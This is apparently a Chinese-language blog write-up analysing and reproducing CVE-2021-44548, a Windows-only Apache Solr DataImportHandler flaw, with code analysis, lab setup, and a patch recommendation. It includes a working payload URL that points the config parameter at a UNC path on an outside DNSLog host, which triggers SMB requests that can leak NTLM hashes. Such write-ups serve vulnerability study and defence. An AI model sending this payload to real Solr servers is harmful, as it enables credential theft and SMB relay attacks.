CVE-2021-44548 Apache Solr 敏感信息泄露漏洞分析及復現

 前言

 由於傳播、利用此文所提供的信息而造成的任何直接或者間接的後果及損失,均由使用者本人負責,文章作者不爲此承擔任何責任。

 如果文章中的漏洞出現敏感內容產生了部分影響,請及時聯繫作者,望諒解。

 一、漏洞原理

 漏洞簡述

 Apache Solr是一個開源的搜索服務,使用Java語言開發,主要基於HTTP和Apache Lucene實現的。

 2021年12月18日,Apache發佈安全公告,Apache Solr中存在一個信息泄露漏洞(CVE-2021-44548),該漏洞影響了8.11.1之前的所有Apache Solr版本(僅影響Windows平臺)。Apache Solr的DataImportHandler中存在一個不正確的輸入驗證漏洞,可利用Windows UNC路徑從Solr主機調用網絡上的另一臺主機的SMB服務,或導致SMB攻擊,從而造成:

  • 敏感數據泄露,如系統用戶哈希(NTLM/LM哈希);

  • 在系統配置錯誤的情況下,SMB中繼攻擊可能導致用戶在SMB共享中被冒充,或導致遠程代碼執行。

 漏洞分析

 根據抓包內容中請求URL參數,以及solrconfig.xml中可以看到

sorlconfig漏洞點.jpg

 

 漏洞點出於DataImportHandler#handleRequestBody

 如果傳入的command=show-config並且傳入config不爲空則有一個openResource操作,且參數可控

HandlerequestBody.png

 

 看到solr-core-8.11.0.jar!\org\apache\solr\core\SolrResourceLoader.openResource

 

openResource.png

this.getInstancePath()得到的路徑爲D:\Apache_Solr\solr-8.11.0\server\solr\core1

 再執行resolve("conf")變成,D:\Apache_Solr\solr-8.11.0\server\solr\core1\conf

 再執行resolve(resource)時,這裏的WindowsPathType變成了UNC

resolve.png

 

 resolve邏輯判斷WindowsPathType是否爲絕對路徑或UNC路徑,是則直接返回參數

路徑判斷.png

 

 resource以\\開頭就能使inConfigDir完全可控,在Files.exists中就會去請求windows的unc路徑

 二、漏洞復現實戰

 影響版本

 Apache Solr < 8.11.1 (僅Windows)

 環境搭建

 Solr漏洞環境下載地址:

 https://archive.apache.org/dist/lucene/solr/8.11.0/solr-8.11.0.zip

 1)打開命令行,進入bin目錄下,運行solr.cmd start

運行Solr.jpg

 

 2)再另一個命令行面板中執行solr.cmd create_core -c new_core

Solr 創建core.jpg

 

 3)然後在solr-8.11.0\dist目錄中添加三個jar包:

Solr dist添加jar包.jpg

Solr dist添加情況.jpg

 

 

 4)在solr-8.11.0\server\solr\core1\conf\solrconfig.xml中添加DataImportHandler路由

配置solrconfig.xml.jpg

 

 5)在C:\Users\Administrator\Downloads\solr-8.11.0\server\solr\core1\conf目錄下新建data-config.xml文件,內容如下:

<dataConfig>
 <dataSource type="JdbcDataSource"
             driver="com.mysql.jdbc.Driver"
             convertType="true"
             url="jdbc:mysql://IP:Port/test"
             user="XXXX"
             password="XXXX"/>
 <document>
   <entity name="entity" query="SELECT id, title, content, tags FROM test_table" >
   </entity>
 </document>
</dataConfig>

 

配置data-config.xml.jpg

 6)重新啓動solr

 漏洞復現

 進入Solr後臺,選擇core爲我們新配置的core。

 選擇Dataimport,查看Configuration,可以看到我們新配置的data-config的詳細信息

 我們點擊reload並抓包

reload抓包.jpg

 

 查看包內容,可以看到請求如下:

request包詳情.jpg

 

 URL參數添加參數,構造payload

 payload:http://localhost:8983/solr/core1/dataimport?command=show-config&config=\\xxx\xxx

 我們添加&expandMacros=false&config=\hdlr07.dnslog.cn\aaa,發送請求:

構造payload.jpg

 

 在DNSLog上可以看到收到請求

 漏洞修復

 目前此漏洞已經修復,建議受影響用戶升級到Apache Solr 8.11.1。

 下載鏈接:

 https://solr.apache.org/downloads.html

 緩解措施:

 確保只有受信任的客戶端才能向Solr的DataImporthandler發出請求

 結束語

 本文主要介紹了CVE-2021-44548 Apache Solr 敏感信息泄露漏洞的原理分析及復現過程,漏洞主要利用DataImportHandler存在輸入驗證缺陷,最終利用SMB服務導致敏感信息泄露。

 更多靶場實驗練習、網安學習資料,請點擊這裏>>

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章